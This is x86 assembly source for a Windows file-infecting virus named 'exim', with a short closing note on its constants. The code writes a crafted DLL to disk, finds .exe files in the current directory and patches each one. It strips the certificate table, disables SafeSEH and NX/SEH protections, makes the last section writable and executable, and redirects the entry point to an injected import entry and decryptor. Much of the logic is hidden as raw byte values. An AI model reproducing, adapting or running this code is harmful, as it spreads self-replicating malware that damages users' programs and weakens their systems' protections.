.486
.model flat, stdcall
.code
assume fs:nothing
exim_exe proc
dec dword ptr [esp + 8] ;do not execute if DLL_PROCESS_DETACH
js DETACH
pushad
db 33h
db 0dbh
call create_dll
db 58h
db 58h
db 5ch
db 33h, 0c0h
db 64h
db 8fh
db 0
db 58h
popad
DETACH:
ret 0ch
echo 28/12/10 - exim by hh86 ;happiness hit her like a bullet in the head
;struck from a great height by someone who should know better than that...
exim_exe endp
;-------------------------------------------------------------------------------
;image for a PE32 DLL file
;-------------------------------------------------------------------------------
dos_hdr label near
db "MZ" ;e_magic
dw "CV" ;e_cblp
db "!", 0 ;e_cp
dw 0 ;e_crlc
dw 0 ;e_cparhdr
dw 0 ;e_minalloc
db "PE", 0, 0 ;signature
dw IMAGE_FILE_MACHINE_I386 ;machine
dw 1 ;numberofsections
dd 0 ;timedatestamp
dd 0 ;pointertosymboltable
dd 0 ;numberofsymbols
dw 68h ;sizeofoptionalheader
dw IMAGE_FILE_RELOCS_STRIPPED or IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE
dw IMAGE_NT_OPTIONAL_HDR32_MAGIC ;magic
db 0 ;majorlinkerversion
db 0 ;minorlinkerversion
dd 0 ;sizeofcode
dd 0 ;sizeofinitializeddata
dd 0 ;sizeofuninitializeddata
dd 0 ;addressofentrypoint
dd 0 ;baseofcode
dd 0ch ;baseofdata and e_lfanew
dd 0 ;imagebase
dd 1 ;sectionalignment
dd 1 ;filealignment
dw 0 ;majoroperatingsystemversion
dw 0 ;minoroperatingsystemversion
dw 0 ;majorimageversion
dw 0 ;minorimageversion
dw 4 ;majorsubsystemversion
dw 0 ;minorsubsystemversion
dd 0 ;win32versionvalue
dd offset _end - offset dos_hdr ;sizeofimage
dd offset _sect - offset dos_hdr ;sizeofheaders
dd 0 ;checksum
dw IMAGE_SUBSYSTEM_WINDOWS_CUI ;subsystem
dw IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE or IMAGE_DLL_CHARACTERISTICS_NX_COMPAT or IMAGE_DLLCHARACTERISTICS_NO_SEH
dd 0 ;sizeofstackreserve
dd 0 ;sizeofstackcommit
dd 0 ;sizeofheapreserve
dd 0 ;sizeofheapcommit
dd 0 ;loaderflags
dd 2 ;numberofrvaandsizes
dd offset _sect - offset dos_hdr ;export
dd 0 ;export
db 8 dup (0) ;name
dd offset _end - offset _sect ;virtualsize
dd offset _sect - offset dos_hdr ;virtualaddress
dd offset _end - offset _sect ;sizeofrawdata
dd offset _sect - offset dos_hdr ;pointertorawdata
dd 0 ;pointertorelocations
dd 0 ;pointertolinenumbers
dw 0 ;numberofrelocations
dw 0 ;numberoflinenumbers
dd IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_READ
;-------------------------------------------------------------------------------
;no code can be executed here
;-------------------------------------------------------------------------------
_sect label near
dd 0
dd 0
dd 0
dd 0
dd 1
dd 400h
dd 0
dd offset _addrtbl - offset dos_hdr
dd 0
dd 0
_addrtbl:
dd 1
require proc
db 60h
db 6ah
db 30h ;process environment block
db 5eh
db 64h
db 8bh
db 6
db 8bh ;retrieve imagebase
db 40h
db 8
db 1 ;convert to relative virtual address
db 44h
db 34h
db -(STACK_REG.LO32_EAX - STACK_REG.LO32_ESP)
db 33h
db 0d2h
db 0e8h ;skip SE handler
dd 0bh
db 58h
db 58h
db 5ch
db 33h, 0c0h
db 64h
db 8fh
db 0
db 58h
db 61h
ret
db 64h
db 0ffh
db 32h
db 64h
db 89h
db 22h
db 64h
db 0adh
db 8bh
db 40h
db 0ch
db 8bh
db 70h
db 14h
db 0adh
db 8bh
db 0
db 8bh
db 68h
db 10h
call skip_crc
dd 03fc1bd8dh
dd 0da68238fh
;-------------------------------------------------------------------------------
;DLL name
;-------------------------------------------------------------------------------
db 30h, 0
skip_crc:
db 5eh
;-------------------------------------------------------------------------------
;walk lists
;-------------------------------------------------------------------------------
crc32 macro
db 32h
db 7
db 6ah
db 8
db 59h
db 0d1h
db 0e8h
db 73h
db 5
db 35h
dd 0edb88320h
db 0e2h
db 0f5h
db 47h
db 38h
db 0fh
db 75h
db 0ebh
endm
import_next:
db 8bh
db 45h
db IMAGE_DOS_HEADER.e_lfanew
db 8bh
db 5ch
db 28h
db IMAGE_DIRECTORY_ENTRY_EXPORT
db 3
db 0ddh
export_next:
db 8bh
db 7bh
db IMAGE_EXPORT_DIRECTORY.AddressOfNames
db 3
db 0fdh
db 8bh
db 3ch
db 97h
db 0f9h
db 1bh
db 0c0h
db 3
db 0fdh
crc32
db 0f7h
db 0d0h
db 39h
db 6
je l_res
db 42h
db 39h
db 53h
db IMAGE_EXPORT_DIRECTORY.TimeDateStamp + IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint - IMAGE_EXPORT_DIRECTORY.TimeDateStamp shl 2 - sizeof IMAGE_EXPORT_DIRECTORY.NumberOfNames
jne export_next
int 3
;-------------------------------------------------------------------------------
;resolve API address
;-------------------------------------------------------------------------------
l_res:
db 8bh
db 7bh
db IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
db 3
db 0fdh
db 0fh
db 0b7h
db 3ch
db 57h
db 8bh
db 43h
db IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
db 3
db 0c5h
db 8bh
db 4
db 0b8h
db 3
db 0c5h
db 50h
db 0adh
db 33h
db 0d2h
db 80h
db 3eh
db 30h
jne import_next
db 8bh
db 0dch
db 56h
db 0ffh, 53h, 4 ;call LoadLibraryA
db 50h
db 0ffh, 13h ;call FreeLibrary
db 1 + 5 + 4 dup (0cch) ;Grrrrrr!
dq 0
require endp
_end label near
;-------------------------------------------------------------------------------
;create DLL file
;-------------------------------------------------------------------------------
create_dll proc
db 64h
db 0ffh
db 33h
db 64h, 89h, 23h ;SEH protected
push ebx
push ebx
push CREATE_NEW
push ebx
push F0
push G0
push offset dllfile
call CreateFile
inc eax
jz find_fs
dec eax
push eax
xchg ebp, eax
push ebx
push esp
push DLLSIZE
push offset dos_hdr
push ebp
call WriteFile
call CloseHandle
jmp find_fs
;you know I am a child. I keep this alive.
create_dll endp
find_fs proc
enter (sizeof WIN32_FIND_DATA + sizeof LOADED_IMAGE) + (sizeof IMAGE_DOS_HEADER.e_lfanew + 1), 0
mov edi, esp
lea esi, dword ptr [edi + LOADED_IMAGE]
push esi
;-------------------------------------------------------------------------------
;find exe files in current directory
;-------------------------------------------------------------------------------
db 0e8h
dd 6
db "*"
db "."
db "e"
db "x"
db "e"
db 0
call FindFirstFile
db 95h
jmp call_mf
find_next:
db 56h
db 55h
call FindNextFile
test eax, eax
jz call_seh
call_mf:
pushad
db CALL_OP, low offset map_file - offset delta_seh, 0, 0, 0
delta_seh:
db 58h
db 58h
db 5ch
db 33h, 0c0h
db 64h
db 8fh
db 0
db 58h
popad
jmp find_next
find_fs endp
;-------------------------------------------------------------------------------
;create map
;-------------------------------------------------------------------------------
map_file proc
db 64h
db 0ffh
db 33h
db 64h, 89h, 23h ;SEH protected
db 8dh
db 4eh
db WIN32_FIND_DATA.cFileName
db 57h
db 53h
db 53h
db 57h
db 53h
db 51h
call MapAndLoad
db 48h
js call_seh ;no unmap happens if zero
db CALL_OP, low offset infect_exe - offset delta_os, 0, 0, 0
delta_os:
db 58h
db 58h
db 5ch
db 33h, 0c0h
db 64h
db 8fh
db 0
db 58h
call UnMapAndLoad
map_file endp
call_seh label near
int 3
;so darkness I became
infect_exe proc
db 64h
db 0ffh
db 33h
db 64h, 89h, 23h
;-------------------------------------------------------------------------------
;32-bit machine
;GUI or CUI
;-------------------------------------------------------------------------------
db 8bh
db 6fh
db LOADED_IMAGE.MappedAddress
db 8bh
db 47h
db LOADED_IMAGE.FileHeader
db 0f6h
db 40h
db IMAGE_NT_HEADERS.FileHeader.Characteristics + 1
db high IMAGE_FILE_32BIT_MACHINE
jz call_seh
db 8ah
db 48h
db IMAGE_NT_HEADERS.OptionalHeader.Subsystem
db 49h
db 49h
db 80h
db 0f9h
db IMAGE_SUBSYSTEM_WINDOWS_CUI - IMAGE_SUBSYSTEM_WINDOWS_GUI
jnbe call_seh
db 80h
db 60h
db IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics + 1
db 0f0h ;NO_SEH and NX_COMPATIBLE flags
;-------------------------------------------------------------------------------
;PE size must be equal to file size
;certificate table must be at end of last section
;-------------------------------------------------------------------------------
db 8bh
db 57h
db LOADED_IMAGE.Sections
db 8bh ;DWORD not WORD ;)
db 4fh
db LOADED_IMAGE.NumberOfSections
db 6bh
db 0c9h
db sizeof IMAGE_SECTION_HEADER
db 8dh
db 74h
db 11h
db -(sizeof IMAGE_SECTION_HEADER - IMAGE_SECTION_HEADER.SizeOfRawData)
db 6ah
db 10h
db 5fh
db 8dh
db 4ch
db 0f8h
db CERTIFICATE_TABLE_DATA_DIRECTORY - IMPORT_TABLE_DATA_DIRECTORY
db 8bh
db 56h
db sizeof IMAGE_SECTION_HEADER.PointerToRawData
db 3
db 16h
;do not infect if imports
cmp dword ptr [eax + edi * 8], ebx
jne call_seh
db 0b7h
db 10h
db 39h
db 19h
jb call_seh
db 39h
db 11h
jne call_seh
;-------------------------------------------------------------------------------
;set to zero the certificate table data directory
;disable SafeSEH
;-------------------------------------------------------------------------------
fldz
fstp qword ptr [ecx]
fldz
fstp qword ptr [ecx + LOAD_CONFIG_TABLE_DATA_DIRECTORY]
;-------------------------------------------------------------------------------
;increase image and section size
;-------------------------------------------------------------------------------
db 1
db 5eh
db -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.Misc.VirtualSize)
db 1
db 58h
db IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage
db 8bh
db 4eh
db -(IMAGE_SECTION_HEADER.SizeOfRawData - IMAGE_SECTION_HEADER.VirtualAddress)
db 3
db 0eh
db 1 ;increase raw size
db 1eh
db 81h
db 4eh
db IMAGE_SECTION_HEADER.Characteristics - IMAGE_SECTION_HEADER.SizeOfRawData
;Windows can write-enable section while binding imports
;but we need to set this bit for decryption
dd IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_EXECUTE
db 60h
db 8dh
db 3ch
db 2ah
db 0beh
dd offset importtbl
db 60h
db 6ah, not(low (offset decryptor_end - offset importtbl))
db 59h
db 0f6h, 0d1h
db 0f3h, 0a4h
db 61h
db 1
db 0fh
db 1
db 04fh, IMAGE_IMPORT_DESCRIPTOR.Name1
db 1
db 04fh, IMAGE_IMPORT_DESCRIPTOR.FirstThunk
db 81h
db 0c1h
dd offset decryptor - offset importtbl
db 87h
db 48h
db IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint
db 89h
db 8fh
dd (offset entrypoint - offset importtbl) + 1
db 61h
db 89h ;now add import table entry to data directory
db 00ch
db 0f8h
int 3
infect_exe endp
;-------------------------------------------------------------------------------
;import directory
;-------------------------------------------------------------------------------
N_ORDINALS = 2ch
importtbl label near
dd sizeof IMAGE_IMPORT_DESCRIPTOR * 2 + 5
dd 0
dd 0
dd sizeof IMAGE_IMPORT_DESCRIPTOR + sizeof IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk
dd sizeof IMAGE_IMPORT_DESCRIPTOR * 2 + 5
dd 0
dllfile db "v", ".dll", 0, 0, 0
dd 0, 0
decryptor proc
call skip_iat
x = 0
REPEAT N_ORDINALS
x = x + 1
dd 80000000h + x
ENDM
dd 0
skip_iat:
pop esi
lodsd
dec eax
xchg edx, eax
push esi
push 29h
pop ecx
decrypt:
sub dword ptr [esi], edx
lodsd
loop decrypt
pop esi
entrypoint label near
push "vc!"
jmp esi
decryptor endp
decryptor_end label near
end exim_exe
For this virus I used the IMAGE_IMPORT_DESCRIPTOR that has no Characteristics field but OriginalFirstThunk.
These are some of the constants and their respective values, and the STACK_REG structure:
CERTIFICATE_TABLE_DATA_DIRECTORY = 98h
LOAD_CONFIG_TABLE_DATA_DIRECTORY = 30h
IMAGE_DIRECTORY_ENTRY_EXPORT = 78h
IMPORT_TABLE_DATA_DIRECTORY = 80h
DLLSIZE = offset _end - offset dos_hdr
CALL_OP = 0e8h
F0 = FILE_SHARE_READ or FILE_SHARE_WRITE
G0 = GENERIC_READ or GENERIC_WRITE
STACK_REG struct
LO32_EDI dd ?
LO32_ESI dd ?
LO32_EBP dd ?
LO32_ESP dd ?
LO32_EBX dd ?
LO32_EDX dd ?
LO32_ECX dd ?
LO32_EAX dd ?
STACK_REG ends